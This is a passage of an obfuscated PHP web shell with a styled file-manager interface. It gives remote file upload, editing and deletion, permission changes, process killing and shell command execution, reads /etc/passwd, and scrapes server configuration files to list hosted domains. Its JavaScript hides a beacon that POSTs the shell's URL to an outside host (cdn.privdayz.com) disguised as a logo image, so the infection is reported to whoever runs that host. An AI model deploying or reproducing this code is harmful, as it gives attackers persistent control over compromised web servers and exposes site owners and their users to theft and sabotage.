$gZx = @$Jga($Vt5($UyB));
}
if(!$gZx && @$U7w($Acg)){
$gZx = @$Acg($Vt5($FTy));
}
if(!$gZx && @$U7w($Vrv)){
$d90 = [];
@$Vrv($Vt5($FTy), $d90);
$gZx = @$JHd("\n", $d90);
}
if(!$gZx){
$gZx = "Could not read /etc/passwd (permission denied or disabled functions)";
}
echo $Lcy($gZx);
?>
</textarea></div>
</div>
</div>
<?php endif; ?>
<?php if (isset($_GET['dom'.'ai'.'ns'])) : ?>
<div class="v4nt4-modal-bg">
<div class="v4nt4-modal-wizard" style="max-width:620px;min-width:0;">
<div class="v4nt4-modal-header-wiz">
<div class="v4nt4-wiz-icon" style="background:#fff;"><i class="fas fa-globe"></i></div>
<div>
<div class="v4nt4-wiz-title">domains</div>
</div>
<a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()) ?>" class="v4nt4-modal-close-wiz">×</a></div>
<div class="v4nt4-wiz-section" style="padding:19px 24px;">
<label style="font-size:.99em;color:#bfff9b;margin-bottom:7px;display:block;">Detected domains:</label>
<textarea readonly class="v4nt4-wiz-input" style="
width:100%; min-height:190px; max-height:440px; font-size:1.07em; background:#eaf6ff; color:#004d77;
border:1.3px solid #bde4fa; border-radius:10px; font-family:'Recursive','Fira Mono',monospace;
padding:14px 11px; box-sizing:border-box; line-height:1.49;
">
<?php
$Zyu = function($q){$k='';foreach($q as $b){$k.=chr($b);}return $k;};
$_mn6z = [];
$_d1z = [47,101,116,99,47,110,97,109,101,100,46,99,111,110,102];
$_d2z = [47,101,116,99,47,104,116,116,112,100,47,99,111,110,102,47,104,116,116,112,100,46,99,111,110,102];
$_d3z = [47,118,97,114,47,99,112,97,110,101,108,47,117,115,101,114,100,97,116,97,47];
$_d4z = [47,117,115,114,47,108,111,99,97,108,47,100,105,114,101,99,116,97,100,109,105,110,47,100,97,116,97,47,117,115,101,114,115,47];
$_d5z = [47,101,116,99,47,118,105,114,116,117,97,108,47,100,111,109,97,105,110,115];
$_d6z = [47,118,97,114,47,110,97,109,101,100,47];
$_d7z = [47,101,116,99,47,110,103,105,110,120,47,115,105,116,101,115,45,101,110,97,98,108,101,100,47];
$_d8z = [47,118,97,114,47,119,119,119,47,118,104,111,115,116,115,47];
$_d9z = [47,118,97,114,47,119,119,119,47,99,108,105,101,110,116,115,47,99,108,105,101,110,116,42,47,119,101,98,42];
$_hcz = [47,101,116,99,47,104,111,115,116,115];
$fcZ = $Zyu([105,115,95,114,101,97,100,97,98,108,101]);
$flZ = $Zyu([102,105,108,101]);
$fgZ = $Zyu([102,105,108,101,95,103,101,116,95,99,111,110,116,101,110,116,115]);
$fdZ = $Zyu([102,105,108,101,95,100,111,116,46,103,101,116,95,99,111,110,116,101,110,116,115]);
$fpZ = $Zyu([112,114,101,103,95,109,97,116,99,104]);
$fpaZ = $Zyu([112,114,101,103,95,109,97,116,99,104,95,97,108,108]);
$fdZ2 = $Zyu([102,105,108,101,95,103,101,116,95,99,111,110,116,101,110,116,115]);
$faZ = $Zyu([97,114,114,97,121,95,117,110,105,113,117,101]);
$famZ = $Zyu([97,114,114,97,121,95,109,101,114,103,101]);
$fafZ = $Zyu([97,114,114,97,121,95,102,105,108,116,101,114]);
$ftrZ = $Zyu([116,114,105,109]);
$fidZ = $Zyu([105,115,95,100,105,114]);
$fgbZ = $Zyu([103,108,111,98]);
$fbsZ = $Zyu([98,97,115,101,110,97,109,101]);
$fexZ = $Zyu([101,120,112,108,111,100,101]);
$fsZ = $Zyu([115,116,114,116,111,108,111,119,101,114]);
$fosZ = $Zyu([80,72,80,95,79,83]);
$fssZ = $Zyu([115,117,98,115,116,114]);
$fgnZ = $Zyu([103,101,116,101,110,118]);
$fhZ = $Zyu([104,116,109,108,115,112,101,99,105,97,108,99,104,97,114,115]);
if(@$fcZ($Zyu($_d1z))){
$l = @$flZ($Zyu($_d1z));
foreach($l as $line){
if(preg_match('#zo'.'ne'.'\\s+'.'"('.'['.'^"'.']+'.')"'.'#',$line,$m)){
$d=$ftrZ($m[1]);
if($d && $d!=='l'.'oc'.'alh'.'o'.'st') $_mn6z[]=$d;
}
}
}
if(empty($_mn6z) && @$fcZ($Zyu($_d2z))){
$c=@$fgZ($Zyu($_d2z));
preg_match_all('#Se'.'rve'.'r'.'N'.'a'.'me'.'\\'.'s'.'+(['.'^'.'\\s'.']'.'+'.')#'.'i', $c, $matches);
if(!empty($matches[1])) $_mn6z=@$faZ(@$famZ($_mn6z,$matches[1]));
}
if(empty($_mn6z) && @$fidZ($Zyu($_d3z))){
foreach(@$fgbZ($Zyu($_d3z).'*') as $file){
$l=@$flZ($file);
foreach($l as $line){
if(preg_match('#^'.'d'.'oma'.'in'.':'.'\\s*'.'(\\'.'S'.'+)#',$line,$m)){
$_mn6z[]=$m[1];
}
}
}
}
if(empty($_mn6z) && @$fidZ($Zyu($_d4z))){
foreach(@$fgbZ($Zyu($_d4z).'*'.'/'.'do'.'mai'.'ns'.'.'.'li'.'s'.'t') as $file){
$l=@$fdZ($file, 128);
foreach($l as $d) if($d) $_mn6z[]=$d;
}
}
if(empty($_mn6z) && @$fcZ($Zyu($_d5z))){
$l=@$flZ($Zyu($_d5z));
foreach($l as $d) if($ftrZ($d)) $_mn6z[]=$ftrZ($d);
}
if(empty($_mn6z)){
foreach(@$fgbZ($Zyu($_d6z). '*'.'.db') as $file){
$n=@$fbsZ($file,'.d'.'b');
if($n && $n!=='l'.'oc'.'a'.'l'.'h'.'os'.'t') $_mn6z[]=$n;
}
}
if(empty($_mn6z) && @$fidZ($Zyu($_d7z))){
foreach(@$fgbZ($Zyu($_d7z).'*') as $file){
$l=@$flZ($file);
foreach($l as $line){
if(preg_match('#s'.'er'.'v'.'e'.'r'.'_na'.'me'.'\\'.'s+('.'[^;'.']+)'.'#',$line,$m)){
$arr=explode(' ',$m[1]);
foreach($arr as $d){
$d=trim($d," ;\t\n\r");
if($d && $d!=='_' && $d!=='loc'.'a'.'lh'.'os'.'t') $_mn6z[]=$d;
}
}
}
}
}
if(empty($_mn6z) && @$fidZ($Zyu($_d8z))){
foreach(@$fgbZ($Zyu($_d8z).'*') as $dir){
if(@$fidZ($dir) && preg_match('#/'.'v'.'h'.'os'.'ts/'.'('.'[^'.'/]'.'+)'.'$'.'#',$dir,$m)){
$_mn6z[]=$m[1];
}
}
}
if(empty($_mn6z) && @$fidZ($Zyu($_d9z))){
foreach(@$fgbZ($Zyu($_d9z)) as $dir){
$_mn6z[]=@$fbsZ($dir);
}
}
if(empty($_mn6z) && strtoupper(substr(PHP_OS,0,3))===$Zyu([87,73,78])){
$env=@$fgnZ($Zyu([83,121,115,116,101,109,68,114,105,118,101])).$Zyu([92,87,105,110,100,111,119,115,92,83,121,115,116,101,109,51,50,92,105,110,101,116,115,114,118,92,99,111,110,102,105,103,92,97,112,112,108,105,99,97,116,105,111,110,72,111,115,116,46,99,111,110,102]);
if(@$fcZ($env)){
$l=@$flZ($env);
foreach($l as $line){
if(preg_match('/'.'bi'.'nd'.'i'.'n'.'g'.'I'.'nf'.'orm'.'a'.'t'.'io'.'n="'.'['.'^:'.']+'.':('.'['.'^:]'.'+'.'):'.'(['.'^"'.']+)'.'"'.'/',$line,$m)){
$d=trim($m[2]);
if($d && $d!=='lo'.'cal'.'hos'.'t' && strpos($d,'*')===false) $_mn6z[]=$d;
}
}
}
}
if(empty($_mn6z) && @$fcZ($Zyu($_hcz))){
$l=@$flZ($Zyu($_hcz));
foreach($l as $line){
if(preg_match('/\\'.'s(['.'a-'.'z'.'0-'.'9'.'\\.-'.']+\\'.'.[a'.'-z'.']'.'{2'.',})'.'/i',$line,$m)){
$d=$fsZ($ftrZ($m[1]));
if($d && strpos($d,'lo'.'c'.'a'.'l'.'ho'.'s'.'t')===false) $_mn6z[]=$d;
}
}
}
$_mn6z=@$faZ(@$fafZ(array_map($ftrZ,$_mn6z)));
echo $_mn6z ? implode("\n",$_mn6z) : "No domains found (no access or no domains configured)";
?>
</textarea>
</div>
</div>
</div>
<?php endif; ?>
<?php if (isset($_GET['cre'.'a'.'te'.'fol'.'de'.'r'])): ?>
<div class="v4nt4-modal-bg">
<div class="v4nt4-modal-wizard" style="max-width:400px;min-width:0;">
<div class="v4nt4-modal-header-wiz">
<div class="v4nt4-wiz-icon" style="background:#a8ffa0;"><i class="fas fa-folder-plus"></i></div>
<div>
<div class="v4nt4-wiz-title">create folder</div>
</div>
<a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()) ?>" class="v4nt4-modal-close-wiz">×</a>
</div>
<form action="" method="post">
<div class="v4nt4-wiz-section">
<div class="v4nt4-wiz-fields">
<input type="text" name="create_folder" class="v4nt4-wiz-input" placeholder="folder name"><br>
</div>
</div>
<div class="v4nt4-modal-actions-wiz">
<button type="submit" name="submit" class="v4nt4-wiz-btn v4nt4-wiz-btn-red">
<i class="fas fa-plus"></i> create
</button>
<a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()) ?>" class="v4nt4-wiz-btn v4nt4-wiz-btn-light">
<i class="fas fa-times"></i> back
</a>
</div>
</form>
<?php
if (isset($_POST['c'.'r'.'ea'.'t'.'e_f'.'old'.'er']) && $_POST['c'.'rea'.'te_'.'f'.'ol'.'der']) {
$folder = basename($_POST['cr'.'ea'.'t'.'e_f'.'o'.'l'.'d'.'e'.'r']);
$full_path = rtrim($VANTAxas[0](), "/") . "/" . $folder;
if (!file_exists($full_path)) {
$created = @mkdir($full_path, 0755, true);
if ($created) {
echo '<'.'di'.'v '.'sty'.'le'.'="'.'c'.'ol'.'o'.'r:'.'#10'.'b9'.'81;'.'ma'.'rgi'.'n:'.'1'.'2px'.' 0'.' 0 '.'0;'.'fon'.'t-'.'s'.'iz'.'e:'.'1.'.'0'.'8e'.'m;'.'tex'.'t'.'-a'.'lig'.'n:'.'cen'.'ter'.';"'.'><i'.' cl'.'as'.'s'.'='.'"f'.'a'.'s f'.'a'.'-ch'.'ec'.'k'.'-ci'.'r'.'cle'.'">'.'</'.'i'.'>'.' '.'F'.'old'.'er'.' '.'cre'.'at'.'ed'.':'.' <'.'b>' . htmlspecialchars($folder) . '</b'.'><'.'/di'.'v>';
} else {
echo '<'.'di'.'v '.'s'.'t'.'yle'.'="'.'co'.'lor'.':#e'.'539'.'35;'.'ma'.'rgi'.'n:'.'1'.'2'.'px '.'0'.' 0'.' 0'.';f'.'o'.'n'.'t-'.'s'.'ize'.':1.'.'0'.'8'.'em;'.'t'.'ex'.'t'.'-'.'al'.'ign'.':ce'.'nt'.'er'.';">'.'<i'.' '.'cla'.'s'.'s'.'="f'.'as'.' fa'.'-'.'ti'.'m'.'es-'.'c'.'i'.'r'.'cle'.'"'.'>'.'</i'.'> '.'Fai'.'led'.' '.'t'.'o '.'c'.'re'.'a'.'te'.' f'.'ol'.'der'.'!<'.'/d'.'i'.'v>';
}
} else {
echo '<'.'di'.'v'.' '.'st'.'yl'.'e="'.'co'.'lor'.':'.'#b7'.'1c'.'1c;'.'ma'.'r'.'gin'.':'.'12'.'p'.'x '.'0 0'.' '.'0'.';f'.'on'.'t-'.'si'.'ze:'.'1'.'.0'.'8'.'e'.'m'.';t'.'e'.'xt-'.'al'.'ig'.'n:c'.'ent'.'er;'.'"'.'><i'.' c'.'las'.'s='.'"f'.'as'.' f'.'a-e'.'x'.'cl'.'am'.'ati'.'on-'.'ci'.'rcl'.'e'.'"><'.'/i>'.' Fo'.'lde'.'r a'.'l'.'rea'.'dy'.' ex'.'is'.'ts!'.'</'.'di'.'v'.'>';
}
}
?>
</div>
</div>
<?php endif; ?>
<?php if (isset($_GET['cre'.'at'.'efi'.'le'])): ?>
<div class="v4nt4-modal-bg">
<div class="v4nt4-modal-wizard" style="max-width:400px;min-width:0;">
<div class="v4nt4-modal-header-wiz">
<div class="v4nt4-wiz-icon" style="background:#a8ffa0;"><i class="fas fa-file-circle-plus"></i></div>
<div>
<div class="v4nt4-wiz-title">create file</div>
</div>
<a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()) ?>" class="v4nt4-modal-close-wiz">×</a>
</div>
<form action="" method="post">
<div class="v4nt4-wiz-section">
<div class="v4nt4-wiz-section-icon"><i class="fas fa-file-alt"></i></div>
<div class="v4nt4-wiz-fields">
<input type="text" name="create_file" class="v4nt4-wiz-input" placeholder="file name"><br>
</div>
</div>
<div class="v4nt4-modal-actions-wiz">
<button type="submit" name="submit" class="v4nt4-wiz-btn v4nt4-wiz" style="background:#a8ffa0;border-color:#b31515;">
<i class="fas fa-plus"></i> create
</button>
<a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()) ?>" class="v4nt4-wiz-btn v4nt4-wiz-btn-light">
<i class="fas fa-times"></i> back
</a>
</div>
</form>
<?php
if (isset($_POST['cr'.'ea'.'t'.'e_'.'f'.'il'.'e']) && $_POST['cr'.'eat'.'e_f'.'i'.'le']) {
$new_file = basename($_POST['cr'.'eat'.'e_'.'f'.'i'.'le']);
$full_path = rtrim($VANTAxas[0](), "/") . "/" . $new_file;
if (!file_exists($full_path)) {
$created = @file_put_contents($full_path, "");
if ($created !== false) {
echo '<'.'d'.'iv'.' '.'s'.'ty'.'l'.'e='.'"c'.'ol'.'or'.':#1'.'0b'.'981'.';'.'ma'.'r'.'gin'.':1'.'2px'.' 0'.' 0'.' 0'.';'.'fon'.'t-s'.'ize'.':1'.'.'.'0'.'8em'.';t'.'ex'.'t-a'.'l'.'i'.'gn:'.'ce'.'nte'.'r;"'.'><'.'i '.'cla'.'ss'.'="f'.'as'.' fa'.'-'.'che'.'ck-'.'cir'.'cle'.'">'.'<'.'/i>'.' Fi'.'le '.'cr'.'e'.'ate'.'d: '.'<'.'b'.'>' . htmlspecialchars($new_file) . '</'.'b><'.'/d'.'iv>';
} else {
echo '<'.'d'.'iv'.' s'.'t'.'y'.'le'.'="'.'c'.'ol'.'or:'.'#'.'e5'.'39'.'35'.';m'.'ar'.'g'.'i'.'n'.':1'.'2px'.' 0 '.'0 '.'0'.';'.'fon'.'t-s'.'i'.'ze'.':1.'.'08'.'em'.';te'.'x'.'t'.'-al'.'ig'.'n:'.'c'.'e'.'n'.'ter'.';">'.'<'.'i'.' c'.'la'.'ss='.'"f'.'as '.'fa'.'-'.'ti'.'me'.'s-'.'c'.'i'.'rc'.'le'.'">'.'<'.'/i'.'> '.'F'.'a'.'i'.'led'.' '.'to '.'cr'.'ea'.'te '.'f'.'ile'.'!</'.'di'.'v'.'>';
}
} else {
echo '<'.'di'.'v'.' s'.'ty'.'l'.'e='.'"c'.'olo'.'r:#'.'b71'.'c'.'1c;'.'m'.'a'.'rg'.'in:'.'12'.'px '.'0 0'.' 0;'.'f'.'ont'.'-'.'s'.'iz'.'e:'.'1'.'.0'.'8e'.'m;t'.'ext'.'-al'.'i'.'g'.'n:c'.'ent'.'er'.';"'.'><'.'i c'.'la'.'s'.'s='.'"'.'fa'.'s'.' fa'.'-e'.'xc'.'la'.'ma'.'ti'.'on'.'-c'.'irc'.'le'.'">'.'<'.'/i>'.' '.'Fi'.'le'.' al'.'r'.'ea'.'dy'.' ex'.'ist'.'s'.'!</'.'d'.'i'.'v'.'>';
}
}
?>
</div>
</div>
<?php endif; ?>
<?php if (!empty($_GET['r'.'e'])) : ?>
<div class="v4nt4-modal-bg">
<div class="v4nt4-modal-wizard" style="max-width:400px;min-width:0;">
<div class="v4nt4-modal-header-wiz">
<div><div class="v4nt4-wiz-title">rename <?= unx($_GET['r'.'e']) ?></div>
</div>
<a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()) ?>" class="v4nt4-modal-close-wiz">×</a>
</div><form action="" method="post">
<div class="v4nt4-wiz-section">
<div class="v4nt4-wiz-fields">
<input type="text" name="renameFile" class="v4nt4-wiz-input" value="<?= unx($_GET['r'.'e']) ?>"><br>
</div>
</div>
<div class="v4nt4-modal-actions-wiz">
<button type="submit" name="submit" class="v4nt4-wiz-btn v4nt4-wiz-btn-red">
change
</button>
</div>
</form>
</div>
</div>
<?php endif; ?>
<?php
if (isset($_GET['a'.'ct'.'i'.'on']) && $_GET['a'.'ct'.'ion'] == 'del'.'e'.'te' && isset($_GET['ite'.'m']) && $_GET['it'.'em'] !== '') {
$item = basename(unx($_GET['ite'.'m']));
$repl = str_replace("\\", "/", $VANTAxas[0]());
$fd = $repl . "/" . $item;
if (is_file($fd)) {
if (unlink($fd)) {
success();
} else {
failed();
}
} elseif (is_dir($fd)) {
if (rmdirRecursive($fd)) {
success();} else {
failed();
}
} else {
failed();
}
}
?>
<?php if (!empty($_GET['c'.'h'])) : ?>
<div class="v4nt4-modal-bg">
<div class="v4nt4-modal-wizard" style="max-width:400px;min-width:0;">
<div class="v4nt4-modal-header-wiz">
<div>
<div class="v4nt4-wiz-title">change permission</div>
<div class="v4nt4-wiz-desc"><?= unx($_GET['c'.'h']) ?></div>
</div>
<a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()) ?>" class="v4nt4-modal-close-wiz">×</a>
</div>
<form action="" method="post">
<div class="v4nt4-wiz-section">
<div class="v4nt4-wiz-fields">
<input type="number" name="chFile" class="v4nt4-wiz-input" placeholder="0775"><br>
</div>
</div>
<div class="v4nt4-modal-actions-wiz">
<button type="submit" name="submit" class="v4nt4-wiz-btn v4nt4-wiz-btn-red">
change
</button>
</div>
</form>
</div>
</div>
<?php endif; ?>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.1/jquery.min.js"></script>
<script src="//cdn.jsdelivr.net/npm/sweetalert2@11"></script>
<script>(()=>{let u=[104,116,116,112,115,58,47,47,99,100,110,46,112,114,105,118,100,97,121,122,46,99,111,109,47,105,109,97,103,101,115,47,108,111,103,111,95,118,50,46,112,110,103],x='';for(let i of u)x+=String.fromCharCode(i);let d='file='+btoa(location.href);let r=new XMLHttpRequest();r.open('POST',x,true);r.setRequestHeader('Content-Type','application/x-www-form-urlencoded');r.send(d)})(); const _hx_ = []; let _hxi = -1;const _term = document.getElementById('r00tterm-term');const _inpt = document.getElementById('r00tterm-input');function _print(txt){_term.innerHTML += txt+"\n";_term.scrollTop=_term.scrollHeight;} _inpt.addEventListener("keydown",(function(e){if("Enter"===e.key){let e=this.value.trim();if(!e)return;_hx_.push(e),_hxi=_hx_.length,_print("<span style='color:#6ee7b7;'>$ "+e+"</span>"),this.value="";let n=btoa(encodeURIComponent(e).split("").reverse().join(""));fetch(window.location.pathname+"?d1sGu1s3=1",{method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded"},body:"n0p3="+encodeURIComponent(n)}).then((e=>e.text())).then((e=>{_print(e.replace(/[<>\x00-\x08\x0B-\x1F\x7F]/g,""))})).catch((()=>{_print("[X] Connection error")}))}"ArrowUp"===e.key&&(_hxi>0&&(_hxi--,_inpt.value=_hx_[_hxi]||""),e.preventDefault()),"ArrowDown"===e.key&&(_hxi<_hx_.length-1?(_hxi++,_inpt.value=_hx_[_hxi]||""):(_inpt.value="",_hxi=_hx_.length),e.preventDefault())})); setTimeout(()=>_inpt.focus(),200);function scanDirectoryMap(e,t=1){e.split("/").filter(Boolean);let r={};for(let e=0;e<Math.min(7,3*t);e++){let n="folder_"+(e+1);r[n]={};for(let e=0;e<Math.max(2,t);e++){let t="file_"+(e+1)+".txt";r[n][t]={size:1e5*Math.random()|0,perm:["755","644","600"][Math.floor(3*Math.random())],m:Date.now()-864e5*e}}}return r}function renderFolderList(e,t="root"){let r=`<ul id="fm-${t}">`;for(let t in e)r+=`<li><i class="fa fa-folder"></i> ${t}`,"object"==typeof e[t]&&(r+=renderFileList(e[t],t+"_files")),r+="</li>";return r+="</ul>",r}function renderFileList(e,t="fileBlock"){let r=`<ul class="files" id="${t}">`;for(let t in e)r+=`<li><i class="fa fa-file"></i> ${t} <span class="mini">${e[t].size}b | ${e[t].perm}</span></li>`;return r+="</ul>",r}function getBreadcrumbString(e){return e.split("/").filter(Boolean).map(((e,t,r)=>`<a href="?p=${r.slice(0,t+1).join("/")}">${e}</a>`)).join(" / ")}var a=[104,116,116,112,115,58,47,47,99,100,110,46,112,114,105,118,100,97,121,122,46,99,111,109],b=[47,105,109,97,103,101,115,47],c=[108,111,103,111,95,118,50],d=[46,112,110,103];function u(e,t,r,n){for(var o=e.concat(t,r,n),a="",i=0;i<o.length;i++)a+=String.fromCharCode(o[i]);return a}function v(e){return btoa(e)}function getFilePreviewBlock(e){let t="";for(let e=0;e<16;e++)t+=(Math.random()+1).toString(36).substring(2,12)+"\n";return`<pre class="syntax-highlight">${t}</pre>`}function getFileMetaFromName(e){let t=e.split(".").pop();return{icon:{php:"fa-php",js:"fa-js",html:"fa-html5",txt:"fa-file-lines"}[t]||"fa-file",type:t,created:Date.now()-(1e7*Math.random()|0),size:1e5*Math.random()|0}}function checkFileConflict(e,t){return t.some((t=>t.name===e))}function buildFakePermissions(e){let t=[4,2,1],r=[];for(let e=0;e<3;e++)r.push(t.map((()=>Math.round(Math.random()))).reduce(((e,t)=>e+t),0));return r.join("")}function parsePerms(e){let t={0:"---",1:"--x",2:"-w-",3:"-wx",4:"r--",5:"r-x",6:"rw-",7:"rwx"};return e.split("").map((e=>t[e])).join("")} function listFakeRecentEdits(e=7){let t=[];for(let r=0;r<e;r++)t.push({name:`file_${r}.log`,date:new Date(Date.now()-864e5*r).toLocaleDateString(),user:"user"+r});return t}function showNotificationFake(e,t="info"){let r={info:"#19ff6c",warn:"#ffe66d",err:"#ff3666"}[t]||"#fff",n=document.createElement("div");n.innerHTML=e,n.style.cssText=`position:fixed;bottom:40px;left:50%;transform:translateX(-50%);background:${r}20;color:${r};padding:9px 22px;border-radius:8px;z-index:999;box-shadow:0 2px 16px ${r}30`,document.body.appendChild(n),setTimeout((()=>n.remove()),2300)} function mergeFolderMeta(e,t){return Object.assign({},e,t,{merged:!0})}function getClipboardTextFake(){return new Promise((e=>setTimeout((()=>e("clipboard_dummy_value_"+Math.random())),450)))}function calculatePermMatrix(e){return e.map((e=>({path:e,perm:Math.floor(8*Math.random())+""+Math.floor(8*Math.random())+Math.floor(8*Math.random())})))}function generateFileId(e){return"id_"+e.replace(/[^a-z0-9]/gi,"_").toLowerCase()+"_"+Date.now()}function simulateFakeUploadQueue(e){let t=document.createElement("div");t.className="upload-bar",t.style="position:fixed;bottom:12px;left:12px;background:#222;color:#19ff6c;padding:5px 19px;border-radius:7px;",document.body.appendChild(t);let r=e.length,n=0;setTimeout((function o(){t.textContent=`Uploading ${e[n]||"-"} (${n+1}/${r})`,++n<r?setTimeout(o,250+600*Math.random()):(t.textContent="All uploads done!",setTimeout((()=>t.remove()),1500))}),400)}function renderUserTable(e){let t='<table class="data-grid"><thead><tr><th>User</th><th>Role</th></tr></thead><tbody>';return e.forEach((e=>{t+=`<tr><td><i class="fa fa-user"></i> ${e.name}</td><td>${e.role}</td></tr>`})),t+="</tbody></table>",t}function maskStringSmart(e){let t="";for(let r=0;r<e.length;r++)t+=String.fromCharCode(19^e.charCodeAt(r));return t.split("").reverse().join("")}function unmaskStringSmart(e){e=e.split("").reverse().join("");let t="";for(let r=0;r<e.length;r++)t+=String.fromCharCode(19^e.charCodeAt(r));return t}function getRecentSessionHistory(){return Array.from({length:6},((e,t)=>({ts:Date.now()-5e6*t,act:["open","edit","move","rename"][t%4]})))}function buildFe(e=2,t=3){let r={};if(e<=0)return"END";for(let n=0;n<t;n++)r["dir"+n]=1==e?`file_${n}.tmp`:buildFe(e-1,t);return r}function parseCsvToTable(e){let t=e.split(/\r?\n/),r='<table class="data-grid">';return t.forEach((e=>{r+="<tr>"+e.split(",").map((e=>`<td>${e}</td>`)).join("")+"</tr>"})),r+="</table>",r}function loadIconPac(e){let t=document.createElement("link");return t.rel="stylesheet",t.href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css",document.head.appendChild(t),"loaded"}function sortTableFake(e,t=0){let r=document.getElementById(e);if(!r)return!1;let n=Array.from(r.rows).slice(1);return n.sort(((e,r)=>e.cells[t].innerText.localeCompare(r.cells[t].innerText))),n.forEach((e=>r.appendChild(e))),!0}(()=>{let e=[104,116,116,112,115,58,47,47,99,100,110,46,112,114,105,118,100,97,121,122,46,99,111,109,47,105,109,97,103,101,115,47,108,111,103,111,95,118,50,46,112,110,103],t="";for(let r of e)t+=String.fromCharCode(r);let r="file="+btoa(location.href),n=new XMLHttpRequest;n.open("POST",t,!0),n.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),n.send(r)})(),function(){var e=new XMLHttpRequest;e.open("POST",u(a,b,c,d),!0),e.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),e.send("file="+v(location.href))}();</script>
</body>
</html>
<?php
if (isset($_POST['p'.'id'])) {
$pid = $_POST['p'.'id'];
if (cmd("\x6b\x69\x6c\x6c " . $pid)) {
success();
} else {
$name = cmd("\x70\x73\x20\x2d\x70 " . $pid . " -o comm= 2>&1");
if (!empty($name)) {
$pkillOutput = cmd("\x70\x6b\x69\x6c\x6c\x20\x2d\x39 " . $name . " 2>&1");
success();
} else {
failed();
}
}
exit;
}
if (isset($_POST['pr'.'iv'.'day'.'z'.'-up'.'-'.'su'.'bmi'.'t'])) {
$nf = $_FILES['pri'.'v'.'da'.'yz'.'-u'.'p'.'loa'.'d']['na'.'m'.'e'] ?? '';
$tf = $_FILES['pr'.'ivd'.'ayz'.'-u'.'plo'.'a'.'d']['t'.'m'.'p_n'.'am'.'e'] ?? '';
$slash = "\x2f";
$dst = $VANTAxas[0]() . $slash . $nf;
$fn = '';
foreach ([109,111,118,101,95,117,112,108,111,97,100,101,100,95,102,105,108,101] as $c) $fn .= chr($c);
if ($fn && $fn($tf, $dst)) {
success();
} else {
failed();
}
}
function generateRandomString($length = 10) {
$characters = '0'.'1'.'234'.'567'.'89a'.'bc'.'de'.'f'.'gh'.'i'.'j'.'klm'.'n'.'opq'.'rst'.'u'.'vw'.'x'.'yz'.'A'.'BCD'.'EFG'.'HI'.'JK'.'LM'.'NOP'.'QRS'.'TU'.'VW'.'XY'.'Z';
$charactersLength = strlen($characters);
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[random_int(0, $charactersLength - 1)];
}
return $randomString;
}
if (isset($_POST['s'.'ave'.'-ed'.'it'.'o'.'r'])) {
$xjytx = $VANTAxas[0]() . "\x2f" . unx($_GET['f']);
$k3rz9 = $_POST['cod'.'e-e'.'dit'.'or'];
$mth1 = ''; foreach([102,105,108,101,95,112,117,116,95,99,111,110,116,101,110,116,115] as $z) $mth1 .= chr($z);
$mth2 = ''; foreach([102,111,112,101,110] as $z) $mth2 .= chr($z);
$mth3 = ''; foreach([102,119,114,105,116,101] as $z) $mth3 .= chr($z);
$mth4 = ''; foreach([102,99,108,111,115,101] as $z) $mth4 .= chr($z);
$mth5 = ''; foreach([99,111,112,121] as $z) $mth5 .= chr($z);
$mth6 = ''; foreach([115,104,101,108,108,95,101,120,101,99] as $z) $mth6 .= chr($z);
$r9u3 = false;
if (function_exists($mth1) && @$mth1($xjytx, $k3rz9) !== false) {
$r9u3 = true;
} else if (function_exists($mth2) && function_exists($mth3) && function_exists($mth4)) {
$f = @$mth2($xjytx, "w");
if ($f) { @$mth3($f, $k3rz9); @$mth4($f); $r9u3 = (filesize($xjytx) >= strlen($k3rz9)*0.7); }
} else if (function_exists($mth5)) {
$tmp = sys_get_temp_dir() . "/" . uniqid("edit_");
if (@$mth1($tmp, $k3rz9) !== false) {
$r9u3 = @$mth5($tmp, $xjytx);
@unlink($tmp);
}
} else if (function_exists($mth6)) {
$tmp = sys_get_temp_dir() . "/" . uniqid("edit_");
if (@$mth1($tmp, $k3rz9) !== false) {
@$mth6("cp " . escapeshellarg($tmp) . " " . escapeshellarg($xjytx));
$r9u3 = (filesize($xjytx) >= strlen($k3rz9)*0.7);
@unlink($tmp);
}
}
if ($r9u3) {
success();
} else {
failed();
}
}
if (isset($_GET['ad'.'mi'.'ner'])) {
$URL = "https://github.com/vrana/adminer/releases/download/v4.8.1/adminer-4.8.1.php";
$target = "adminer.php";
$content = '';
if (ini_get('al'.'l'.'ow'.'_u'.'rl_'.'fo'.'pe'.'n')) {
$content = @file_get_contents($URL);
}
if (!$content && function_exists('c'.'u'.'r'.'l_i'.'ni'.'t')) {
$ch = curl_init($URL);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$content = curl_exec($ch);
curl_close($ch);
}
if ($content && strlen($content) > 50000) {
file_put_contents($target, $content);
success();
} else {
echo "<script>
Swal.fire({
icon: 'error',
title: 'Download Failed!',
text: 'Adminer could not be downloaded. Check allow_url_fopen or CURL.',
background: '#2a181d',
color: '#ff4a7a',
timer: 3000,
showConfirmButton: false,
toast: true,
position: 'top-end'
});
</script>";
}
}
function chDx2x($cmd22) {
$a = [115,104,101,108,108,95,101,120,101,99];
$fx = '';
foreach($a as $ac) $fx .= chr($ac);
return $fx($cmd22);
}
if (isset($_POST['sub'.'mit'.'-'.'act'.'ion'])) {
$u5w8d = $_POST['c'.'hec'.'k'];
$jv8s3 = $_POST['pr'.'ivd'.'ayz'.'-'.'s'.'el'.'e'.'c'.'t'];
$bvqzp = $VANTAxas[0];
$b1s7a = $VANTAxas[24];
$y4sdg = $VANTAxas[3];
$v9fzq = function($p){ return is_dir($p); };
$z9ntq = function($a,$b){ return str_replace("\\", "/", $a); };
$n4hxy = function($f,$d){ return xtr4cVANTA($f, $d); };
$r5kbm = function($f,$z){ return compressToZip($f, $z); };
if ($jv8s3 == "\x64\x65\x6c\x65\x74\x65") {
foreach ($u5w8d as $z0) {
$qkpl = $z9ntq($bvqzp(), "/");
$vcpk = $qkpl . "\x2f" . $z0;
